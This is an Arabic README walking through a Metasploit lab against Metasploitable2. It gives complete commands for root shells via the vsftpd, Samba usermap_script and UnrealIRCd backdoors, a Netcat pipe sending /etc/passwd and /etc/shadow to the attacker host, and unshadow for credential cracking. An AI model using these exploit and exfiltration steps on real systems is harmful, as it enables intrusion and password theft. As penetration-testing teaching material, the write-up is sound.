
دليل استغلال كامل باستخدام Metasploit ضد Metasploitable2 — باب خلفي لـ vsftpd، وSamba CVE-2007-2447، وباب خلفي لـ UnrealIRCd، وتسريب عبر Netcat، وتحضير تكسير بيانات الاعتماد.
دليل عملي لاستغلال الثغرات باستخدام إطار Metasploit — بدءًا من إعداد قاعدة بيانات PostgreSQL وفحص db_nmap، مرورًا بثلاث واجهات شل صلبة عبر vsftpd و Samba و UnrealIRCd، وصولًا إلى استخراج بيانات الاعتماد باستخدام Netcat.
يوثق هذا المستودع جلسة استغلال كاملة باستخدام Metasploit ضد Metasploitable2 في مختبر معزول على VirtualBox. المواضيع التي يغطيها:
db_nmap لحفظ نتائج الفحص مباشرة في قاعدة البياناتusermap_script)/etc/passwd و /etc/shadow عبر Netcat ودمجها باستخدام unshadow| الجهاز | الدور | عنوان IP |
|---|---|---|
| Kali Linux 2026.1 | المهاجم | 192.168.1.4 |
| Metasploitable2 | الهدف | 192.168.1.3 |
الشبكة: 192.168.1.0/24 — شبكة NAT معزولة بالكامل داخل VirtualBox.
# تشغيل PostgreSQL وإعداد قاعدة البيانات (مرة واحدة فقط)
sudo systemctl start postgresql
sudo msfdb init
# تشغيل Metasploit
msfconsole


msf6> db_status # التحقق: متصل بـ msf. نوع الاتصال: postgresql.
msf6> workspace -a 178-metasploitable2
msf6> workspace # تأكيد مساحة العمل النشطة

msf6> db_nmap -A 192.168.1.0/24 -n

msf6> hosts
msf6> services

تم العثور على خادمي FTP على Metasploitable2:
| المنفذ | الخدمة | المعلومات |
|---|---|---|
| 21/tcp | ftp | vsftpd 2.3.4 |
| 2121/tcp | ftp | ProFTPD 1.3.1 |
في يوليو 2011، تم اختراق أرشيف المصدر لـ vsftpd 2.3.4 — تم إدخال باب خلفي يفتح واجهة شل صلبة على المنفذ 6200 عندما يحتوي اسم مستخدم FTP على :). CVE: CVE-2011-2523. الفرق في الشفرة: https://pastebin.com/AetT9sS5
msf6> search type:exploit name:vsftpd
# النتيجة: exploit/unix/ftp/vsftpd_234_backdoor (الترتيب: ممتاز)
msf6> use exploit/unix/ftp/vsftpd_234_backdoor
msf6> info




msf6> set RHOSTS 192.168.1.3
msf6> set RPORT 21
msf6> set LHOST 192.168.1.4
msf6> exploit


meterpreter> shell
whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

استخراج كلمات المرور المشفرة:
cat /etc/shadow | grep '$1'

إصدارات Samba 3.0.0–3.0.25rc3 تمرر أحرفًا وصفية للقشرة في حقل اسم المستخدم مباشرة إلى /bin/sh عبر خيار username map script — قبل حدوث المصادقة. يعمل Metasploitable2 على Samba 3.0.20-Debian.
msf6> search type:exploit name:samba
# تم العثور على ~7 استغلالات
msf6> use exploit/multi/samba/usermap_script
msf6> info



msf6> set RHOSTS 192.168.1.3
msf6> exploit


whoami # root
smbd --version # Version 3.0.20-Debian
العلامة التبويبية 2 — Kali (الاستقبال):
nc -l -p 4567 > passwd.txt
العلامة التبويبية 1 — واجهة الاستغلال (الإرسال):
cat /etc/passwd | nc 192.168.1.4 4567


كرر العملية مع /etc/shadow، ثم ادمج:
unshadow passwd.txt shadow.txt > metasploitable_logins.txt
cat metasploitable_logins.txt
تم توزيع UnrealIRCd 3.2.8.1 مع باب خلفي في شفرته المصدرية. إرسال AB إلى المنفذ 6667 يجعل الخادم ينفذ أي أمر لاحق كجذر — دون الحاجة إلى مصادقة.
msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6> set payload cmd/unix/bind_netcat
msf6> set RHOSTS 192.168.1.3
msf6> set LHOST 192.168.1.4
msf6> set RPORT 6667
msf6> exploit


whoami # root
uname -a # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
الخيارات المطلوبة:
db_nmap → hosts → services → search → use → info → show options → set → exploit → shell
info قبل exploit عادة تستحق البناء — فهي تُظهر CVE والإصدارات المتأثرة والخيارات المطلوبة| الخيار | القيمة | الوصف |
|---|
| RHOSTS | 192.168.1.3 | عنوان IP الهدف |
| RPORT | 6667 | منفذ IRC الافتراضي |
| LHOST | 192.168.1.4 | عنوان IP لمستمع Kali |
| payload | cmd/unix/bind_netcat | واجهة شل مقيدة عبر Netcat |
| الخطأ | ما يحدث | الإصلاح |
|---|
تخطي msfdb init | لا توجد قاعدة بيانات — لا يتم حفظ نتائج الفحص | قم بتشغيل sudo msfdb init مرة واحدة قبل الاستخدام الأول |
عدم تعيين LHOST | لا يوجد مكان لاتصال الواجهة العكسية | قم دائمًا بتعيين LHOST إلى عنوان IP الخاص بـ Kali |
تشغيل msfdb init في كل جلسة | يحل محل البيانات الموجودة | قم بتشغيله مرة واحدة فقط؛ تحقق باستخدام sudo msfdb status |
| منفذ RPORT خاطئ | فشل الاستغلال بصمت | تأكد من المنفذ من services قبل التعيين |
| إغلاق مستمع Netcat مبكرًا | نقل ملف مبتور | انتظر لحظة بعد أمر الأنبوب قبل الضغط على CTRL-C |
تخطي unshadow | رافضات كلمات المرور ترفض تنسيق الملف المقسم | ادمج passwd + shadow أولاً دائمًا |